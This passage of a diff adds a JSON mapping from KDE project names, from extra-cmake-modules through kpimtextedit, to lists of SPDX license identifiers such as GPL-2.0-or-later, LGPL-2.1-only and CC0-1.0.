[ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "extra-cmake-modules": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "MIT" + ], + "falkon": [ + "CC0-1.0" + ], + "ffmpegthumbs": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "filelight": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "flatpak-kcm": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "frameworkintegration": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "ghostwriter": [ + "Apache-2.0", + "BSD-3-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-3.0-or-later" + ], + "granatier": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only" + ], + "grantlee-editor": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "grantleetheme": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "gwenview": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "incidenceeditor": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "Qt-Commercial-exception-1.0" + ], + "isoimagewriter": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later" + ], + "itinerary": [ + "Apache-2.0", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "juk": [ + "CC0-1.0" + ], + "k3b": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "kaccounts-integration": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kaccounts-providers": [ + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "LGPL-2.0-or-later" + ], + "kactivitymanagerd": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kaddressbook": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "kajongg": [ + "CC0-1.0", + "GPL-2.0" + ], + "kalarm": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "kalgebra": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kalk": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later" + ], + "kalzium": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kamera": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kamoso": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later" + ], + "kanagram": [ + "CC0-1.0" + ], + "kapidox": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-3.0-or-later" + ], + "kapman": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kapptemplate": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "karchive": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kasts": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kate": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "MIT" + ], + "katomic": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kauth": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "kbackup": [ + "CC0-1.0" + ], + "kblackbox": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kblocks": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kbookmarks": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kbounce": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kbreakout": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kbruch": [ + "CC0-1.0", + "GFDL-1.2-only", + "GPL-2.0-or-later" + ], + "kcachegrind": [ + "CC0-1.0", + "GPL-2.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-Qt-Commercial", + "Qt-LGPL-exception-1.1" + ], + "kcalc": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kcalendarcore": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-3.0-or-later" + ], + "kcalutils": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kcharselect": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kclock": [ + "CC-BY-4.0", + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kcmutils": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kcodecs": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "MIT", + "MPL-1.1" + ], + "kcolorchooser": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "kcolorscheme": [ + "BSD-2-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kcompletion": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kconfig": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kconfigwidgets": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kcontacts": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kcoreaddons": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-Qt-Commercial", + "MPL-1.1", + "Qt-LGPL-exception-1.1" + ], + "kcrash": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kcron": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kdav": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "kdbusaddons": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kde-cli-tools": [ + "Artistic-2.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kde-dev-scripts": [ + "BSD-2-Clause", + "CC0-1.0" + ], + "kde-dev-utils": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kde-gtk-config": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kde-inotify-survey": [ + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kdebugsettings": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kdeclarative": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ], + "kdeconnect-kde": [ + "Apache-2.0", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kdecoration": [ + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kded": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kdeedu-data": [ + "CC0-1.0" + ], + "kdegraphics-mobipocket": [ + "CC0-1.0" + ], + "kdegraphics-thumbnailers": [ + "CC0-1.0" + ], + "kdenetwork-filesharing": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kdenlive": [ + "Apache-2.0", + "BSD-2-Clause", + "BSD-3-Clause", + "BSL-1.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kdepim-addons": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "Qt-Commercial-exception-1.0" + ], + "kdepim-runtime": [ + "AGPL-3.0-or-later", + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kdeplasma-addons": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kdesdk-kio": [ + "CC0-1.0" + ], + "kdesdk-thumbnailers": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kdesu": [ + "CC0-1.0", + "GPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kdev-php": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kdev-python": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ], + "kdevelop": [ + "Apache-2.0", + "BSD-2-Clause", + "BSD-3-Clause", + "BSL-1.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-MIT-KDevelop-Ideal", + "LicenseRef-Qt-Commercial", + "LicenseRef-Qt-LGPL-exception-1.0", + "MIT", + "Qt-GPL-exception-1.0" + ], + "kdf": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kdialog": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kdiamond": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kdnssd": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kdoctools": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "keditbookmarks": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "keysmith": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-3.0-or-later" + ], + "kfilemetadata": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kfind": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kfourinline": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kgamma": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kgeography": [ + "CC0-1.0" + ], + "kget": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "kglobalaccel": [ + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kglobalacceld": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kgoldrunner": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kgpg": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kguiaddons": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "khangman": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "khealthcertificate": [ + "Apache-2.0", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "MIT", + "W3C-20150513" + ], + "khelpcenter": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only" + ], + "kholidays": [ + "BSD-2-Clause", + "Bison-exception-2.2", + "CC0-1.0", + "GPL-3.0-or-later", + "LGPL-2.0-or-later" + ], + "ki18n": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "ODbL-1.0" + ], + "kiconthemes": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kidentitymanagement": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kidletime": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kig": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kigo": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "killbots": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kimageformats": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kimagemapeditor": [ + "CC0-1.0" + ], + "kimap": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kinfocenter": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kio": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kio-admin": [ + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-only", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kio-extras": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kio-extras-kf5": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kio-gdrive": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kio-zeroconf": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only" + ], + "kipi-plugins": [ + "CC0-1.0" + ], + "kirigami": [ + "BSD-3-Clause", + "CC0-1.0", + "FSFAP", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "kirigami-gallery": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0" + ], + "kiriki": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "kitemmodels": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later" + ], + "kitemviews": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kiten": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "LicenseRef-EDRDG" + ], + "kitinerary": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "ODbL-1.0" + ], + "kjobwidgets": [ + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kjournald": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-or-later", + "MIT" + ], + "kjumpingcube": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kldap": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "MIT" + ], + "kleopatra": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "klettres": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only" + ], + "klickety": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "klines": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kmag": [ + "BSD-3-Clause", + "CC0-1.0", + "GFDL-1.2-only", + "GPL-2.0-or-later" + ], + "kmahjongg": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kmail": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "Qt-Commercial-exception-1.0" + ], + "kmail-account-wizard": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "kmailtransport": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later" + ], + "kmbox": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kmenuedit": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later" + ], + "kmime": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later" + ], + "kmines": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kmix": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kmousetool": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kmouth": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "kmplot": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "knavalbattle": [ + "CC0-1.0", + "GPL-2.0-or-later" + ], + "knetwalk": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "knewstuff": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "knights": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "knotes": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "Qt-Commercial-exception-1.0" + ], + "knotifications": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "knotifyconfig": [ + "CC0-1.0", + "LGPL-2.0-only" + ], + "koko": [ + "BSD-3-Clause", + "CC-BY-4.0", + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kolf": [ + "CC0-1.0" + ], + "kollision": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kolourpaint": [ + "CC0-1.0" + ], + "kompare": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "kongress": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-3.0-or-later" + ], + "konqueror": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "LicenseRef-Qt-Commercial", + "LicenseRef-Qt-exception", + "Qt-GPL-exception-1.0" + ], + "konquest": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "konsole": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ], + "kontact": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "kontactinterface": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kontrast": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-3.0-only", + "GPL-3.0-or-later" + ], + "konversation": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "kopeninghours": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "korganizer": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL", + "Qt-Commercial-exception-1.0" + ], + "kosmindoormap": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later", + "MIT", + "ODbL-1.0" + ], + "kpackage": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "kparts": [ + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "kpat": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "kpeople": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.1-or-later" + ], + "kpimtextedit": [ + "BSD-3-Clause", + "CC0-1.0", 